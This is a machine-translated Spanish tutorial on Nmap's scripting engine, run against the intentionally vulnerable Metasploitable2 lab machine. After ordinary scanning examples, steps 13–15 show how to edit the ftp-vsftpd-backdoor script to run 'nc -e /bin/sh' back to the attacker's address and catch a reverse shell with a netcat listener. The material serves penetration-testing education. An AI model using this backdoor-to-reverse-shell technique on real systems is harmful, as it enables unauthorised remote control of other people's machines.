¿Cómo utilizar los scripts del motor de secuencias de comandos Nmap (NSE) en Linux?

Nmap o Network Mapper es una herramienta de código abierto que se utiliza para descubrir hosts y servicios en una red informática. Es uno de los escáneres de puertos más potentes y flexibles jamás construidos. Para instalar Nmap en cualquier sistema operativo como Ubuntu o Kali Linux, puede usar el comando. Es muy flexible debido a la disponibilidad de muchos scripts NSE disponibles. NSE significa motor de secuencias de comandos Nmap. Para comprender los conceptos de Nmap y NSE, tomemos un ejemplo. Para esta tarea, usaremos una máquina vulnerable llamada metasploitable2. Es de naturaleza altamente vulnerable. Hay varias fases para la piratería y uno de los pasos más importantes es el escaneo de puertos. Ahora, para escanear metasploitable2, necesitamos una herramienta de escaneo de puertos, en este caso estamos usando Nmap.

Motor de secuencias de comandos nmap

Resultados de escaneo Nmap de metasploitable 2  

Trabajar con secuencias de comandos Nmap Script Engine (NSE):

1. Podemos descubrir todos los dispositivos conectados en la red usando el comando 

sudo netdiscover

2. El resultado de netdiscover muestra que el proveedor de mac de VMware Inc, que son nuestras 2 máquinas metasploitables. Ahora podemos iniciar un escaneo Nmap. El comando Nmap que se muestra aquí es:

nmap -sV -T4  192.168.1.6

dónde:

-sV utilizado para la detección de la versión del servicio.

-T4 denota la velocidad de escaneo nmap.

3. El resultado obtenido denota el servicio y la versión que se ejecuta en metasploitable2, pero ¿qué pasa si queremos recopilar más información sobre el objetivo? Aquí es donde NSE es útil. NSE permite a los usuarios escribir scripts simples para automatizar una amplia variedad de tareas de red. Esos scripts luego se ejecutan en paralelo con la velocidad y la eficiencia. Los scripts NSE están escritos en un lenguaje de programación llamado Lua.

4. Para usar secuencias de comandos NSE, usamos el indicador -sC, o podemos usar –script para ejecutar secuencias de comandos personalizadas.

utilizando secuencias de comandos NSE

Nmap ejecutándose con scripts predeterminados

5. El comando Nmap para el análisis de servicio predeterminado es 

nmap -sC -T4  192.168.147.132

6. Ahora, si comparamos los resultados del escaneo de la versión del servicio ( -sV ) y los escaneos de scripts predeterminados, hay muchas diferencias. Tomemos el caso del puerto 21 ( FTP ). En el caso de la exploración de la versión del servicio, solo obtenemos la versión. En el caso del análisis del script, detectó que también se permite el inicio de sesión anónimo y el script escrito en lua intentó iniciar sesión de forma anónima para verificar si es posible. El problema con los escaneos de secuencias de comandos es que a veces pueden ser de naturaleza intrusiva. Esto significa que la secuencia de comandos está tratando de interactuar directamente con el objetivo y también los firewalls y los IDS pueden bloquear su solicitud, pero Nmap es tan poderoso que puede realizar escaneos sin pasar por los filtros. -sC es equivalente a –script=default .

7. Nmap tiene un conjunto de secuencias de comandos que se agrupan como predeterminadas, seguras y otras categorías . Cuando usa la bandera -sC flag y cuando Nmap descubre un puerto, ejecutará un conjunto de scripts que por defecto van a ese puerto y devolverá los resultados. Esa es la razón por la que los resultados varían en ambos casos, hay muchos scripts disponibles cuando se usa el indicador -sC .

lista de secuencias de comandos NSE

Ubicación de los scripts NSE

8. Los scripts de nmap se encuentran en /usr/share/nmap/scripts/ . Hay más de 600 scripts NSE disponibles para diferentes puertos creados por la comunidad de código abierto. Puede actualizar los scripts de NSE con el siguiente comando:

 nmap --script-updatedb

Para verificar todos los scripts disponibles para un puerto.

9. En caso de que queramos verificar los scripts disponibles, podemos hacer un grep de los resultados para ver los scripts disponibles para un puerto. 

10. ftp-anon.nse es el script NSE utilizado para detectar inicios de sesión anónimos en servidores FTP. Este script es parte de los scripts predeterminados para el puerto 21. Esa es la razón por la que obtuvimos el resultado de inicio de sesión anónimo permitido al usar el indicador -sC .

ftp-anon.nse NSE

Nmap ejecutándose con un solo script para verificar si el inicio de sesión anónimo está habilitado

11. Los scripts de Nmap son tan poderosos que pueden ayudarlo a configurar un shell en una máquina de destino. 

Nmap detectando un RCE

12. Podemos ver que Nmap con solo ejecutar un script pudo identificar una inyección de comando o RCE (ejecución remota de código) en la máquina de destino. Nmap intentó ejecutar el comando ID y el resultado fue un comando ejecutado por el usuario root. Por lo tanto, Nmap confirmó la existencia de un error de inyección de comandos. Muchos scripts en Nmap admiten el paso de argumentos. También podemos obtener un shell inverso simplemente con los scripts de Nmap NSE, pero necesitamos saber cómo pasar o cómo usar los scripts para esta función. Nmap proporciona una opción de ayuda.

identifying RCE with NSE

Menú de ayuda para el script ftp-vsftpd-backdoor.nse

13. Desde el menú de ayuda, sabemos que podemos editar el script ftp-vsftpd-backdoor.nse y cambiar el comando predeterminado al comando deseado de Linux para obtener un shell inverso.

ftp-vsftpd-backdoor.nse

script de puerta trasera abierto en vim para reemplazar el comando id (predeterminado) para obtener un shell inverso

14. El comando mencionado a continuación enviará /bin/sh al puerto 1234 de 192.168.147.131 (Esta es nuestra máquina de ataque). Cuando el script se ejecuta en metasploitable 2, devolverá el shell inverso a nuestra máquina.

nc -e /bin/sh 192.168.147.131 1234
reverse shell with NSe

Al ejecutar el script Nmap, obtuvimos un shell inverso en nuestra máquina de ataque.

15. Para escuchar un puerto usando nmap

nc -nvlp 1234

donde, -lp significa escuchar en el puerto 1234

Ejecutando el comando hostname && id para verificar la máquina

16. También puede ejecutar todos los scripts para un puerto en particular mediante » theportname-* » 

 nmap -p 21 192.168.147.132 --script "ftp-*"

En este caso, estamos escaneando el puerto 21, que es ftp, por lo que en lugar de scripts, pasamos » ftp-* » como argumento.

Publicación traducida automáticamente

Artículo escrito por georgelyjoesantino y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *